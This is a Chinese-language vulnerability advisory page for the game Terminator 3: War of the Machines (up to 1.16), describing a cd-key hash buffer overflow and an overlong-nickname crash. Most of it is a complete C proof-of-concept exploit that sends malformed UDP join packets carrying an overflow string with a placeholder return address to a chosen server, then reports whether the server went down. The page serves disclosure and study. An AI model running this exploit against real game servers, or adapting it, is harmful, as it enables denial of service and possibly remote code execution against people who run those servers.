安全研究

安全漏洞
Terminator 3: War of the Machines缓冲区溢出和拒绝服务漏洞

发布日期:2005-05-27
更新日期:2005-05-27

受影响系统:
Clevers Terminator 3: War of the Machines <= 1.16
描述:
BUGTRAQ  ID: 13779
CVE(CAN) ID: CVE-2005-1772,CVE-2005-1775

Terminator 3: War of the Machines是Clevers(http://www.clevers.com) 根据同名电影开发的第一人称扮演游戏。

Terminator 3: War of the Machines中存在多个漏洞,攻击者可能利用漏洞在主机上执行任意指令或造成拒绝服务攻击。

A] cd-key哈希缓冲区溢出
------------------------------

包含有客户端cd-key哈希的文本字段可能导致服务器缓冲区溢出。请注意这个漏洞不是Gamespy cd-key SDK缓冲区溢出。

--------------------------------
B] 超长昵称访问破坏
--------------------------------

攻击者可以使用超长的昵称访问任意部分内存,导致服务器崩溃。

<*来源:Luigi Auriemma (aluigi@pivx.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111713248227479&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include "rwbits.h"

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
#endif



#define VER         "0.1"
#define BUFFSZ      4096
#define PORT        60005
#define TIMEOUT     1
#define TWAIT       3
#define NICKSZ      16
#define JOIN1       "try"
#define ANSW        "try_this "     /* challenge and "server_token" */
#define JOIN2       "connect " \
                    "%d "           /* version */        \
                    "%d "           /* challenge */      \
                    "\"%s\" "       /* Gamespy cd-key */ \
                    "%s"            /* nickname */
#define EIP         "\xde\xc0\xad\xde"
#define BOF         "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    EIP

#define SEND(x,y)   if(sendto(sd, x, y, 0, (struct sockaddr *)&peer, sizeof(peer)) \
                      < 0) std_err();
#define RECV(x,y)   len = recvfrom(sd, x, y, 0, NULL, NULL); \
                    if(len < 0) std_err();



int read_bitstr(u_char *in, int inlen, u_char *out, int bits);
int write_bitstr(u_char *in, u_char *out, int bits);
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz);
u_int create_rand_string(u_char *data, int len, u_int num);
int show_info(u_char *data, int len);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);



struct  sockaddr_in peer;



int main(int argc, char *argv[]) {
    u_int   seed;
    int     sd,
            tmp,
            len,
            gamever,
            chall,
            attack;
    u_short port = PORT;
    u_char  buff[BUFFSZ + 1],
            str[BUFFSZ + 1],
            nick[NICKSZ + 1],
            info[] =
                "\xfe\xfd" "\x00" "\x00\x00\x00\x00" "\xff\x00\x00",
            *token,
            *p;

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif


    setbuf(stdout, NULL);

    fputs("\n"
        "Terminator 3 War of the Machines <= 1.16 buffer-overflow and crash "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <attack> <host> [port(%d)]\n"
            "\n"
            "Attack:\n"
            " 1 = cd-key hash buffer-overflow, return address 0x%08lx\n"
            " 2 = big nickname access violation\n"
            "\n", argv[0], port, *(u_long *)EIP);
        exit(1);
    }

    attack = atoi(argv[1]);
    if(argc > 3) port = atoi(argv[3]);

    peer.sin_addr.s_addr = resolv(argv[2]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    fputs("- request informations\n", stdout);
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    *(u_long *)(info + 3) = ~time(NULL);
    len = send_recv(sd, info, sizeof(info) - 1, buff, BUFFSZ);
    close(sd);

    gamever = show_info(buff, len);
    printf("\n- set game version %d\n", gamever);
    seed = time(NULL);

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    *buff = 0x00;
    tmp = write_bitstr(JOIN1, buff, 2);
    len = tmp >> 3;
    if(tmp & 7) len++;

    printf("- send \"%s\" packet\n", JOIN1);
    len = send_recv(sd, buff, len, buff, BUFFSZ);

    read_bitstr(buff, len, str, 2);

    if(strncmp(str, ANSW, sizeof(ANSW) - 1)) {
        printf("\nError: wrong reply from the server:\n"
            "\n %s\n\n", str);
        exit(1);
    }
    p = str + (sizeof(ANSW) - 1);
    chall = atoi(p);
    token = strchr(p, '\"');
    if(!token) {
        printf("\nError: no server token in the server reply:\n"
            "\n %s\n\n", str);
        exit(1);
    }
    p = strchr(++token, '\"');
    if(p) *p = 0x00;

    if(attack == 1) {   // buffer overflow
        create_rand_string(nick, NICKSZ, seed);
        len = sprintf(
            str,
            JOIN2,
            gamever,
            chall,
            BOF,
            nick);
    } else {            // access violation
        len = sprintf(
            str,
            JOIN2,
            gamever,
            chall,
            "000000000000000000000000000000000000000000000000000000000000000000000000",
            BOF);
    }

    *buff = 0x00;
    tmp = write_bitstr(str, buff, 2);
    len = tmp >> 3;
    if(tmp & 7) len++;

    fputs("- send malformed join packet\n", stdout);
    len = send_recv(sd, buff, len, buff, BUFFSZ);
    close(sd);

    read_bitstr(buff, len, str, 2);

    if(strcmp(str, "connected")) {
        printf("\nError: player not accepted for the following error:\n"
            "\n %s\n\n", str);
        exit(1);
    }
    close(sd);

    sleep(ONESEC);

    fputs("- check server:\n", stdout);
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    *(u_long *)(info + 3) = ~time(NULL);
    SEND(info, sizeof(info) - 1);
    if(timeout(sd) < 0) {
        fputs("\nServer IS vulnerable!!!\n\n", stdout);
    } else {
        fputs("\nServer doesn't seem vulnerable\n\n", stdout);
    }
    close(sd);
    return(0);
}



int read_bitstr(u_char *in, int inlen, u_char *out, int bits) {
    while((*out = read_bits(8, in, bits)) && inlen--) {
        bits += 8;
        out++;
    }
    return(bits);
}



int write_bitstr(u_char *in, u_char *out, int bits) {
    while(*in) {
        bits = write_bits(*in, 8, out, bits);
        in++;
    }
    bits = write_bits(0x00, 8, out, bits);  // NULL
    return(bits);
}



int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz) {
    int     i,
            len;

    for(i = 3; i; i--) {        
        SEND(in, insz);
        if(!timeout(sd)) break;
    }

    if(!i) {
        fputs("\nError: socket timeout, no reply received\n\n", stdout);
        exit(1);
    }

    RECV(out, outsz);
    return(len);
}



u_int create_rand_string(u_char *data, int len, u_int num) {
    const static u_char table[] =
        "0123456789"
        "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
        "abcdefghijklmnopqrstuvwxyz";

    len = num % len;
    if(len < 3) len = 3;

    while(len--) {
        num = (num * 0x343FD) + 0x269EC3;
        *data++ = table[num % (sizeof(table) - 1)];
    }
    *data = 0x00;
    return(num);
}



int show_info(u_char *data, int len) {
    int     nt = 0,
            ver = -1,
            d;
    u_char  *limit = data + len;

    fputc('\n', stdout);
    data += 5;
    while(data < limit) {
        d = strlen(data);
        if(nt & 1) {
            if(!ver) ver = atoi(data);
            printf("%s\n", data);
        } else {
            if(!d) break;
            if(!strcmp(data, "gamever")) ver = 0;
            printf("%30s: ", data);
        }
        data += d + 1;
        nt++;
    }
    return(ver);
}



int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

建议:
厂商补丁:

Clevers
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.clevers.com

浏览次数:2835
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障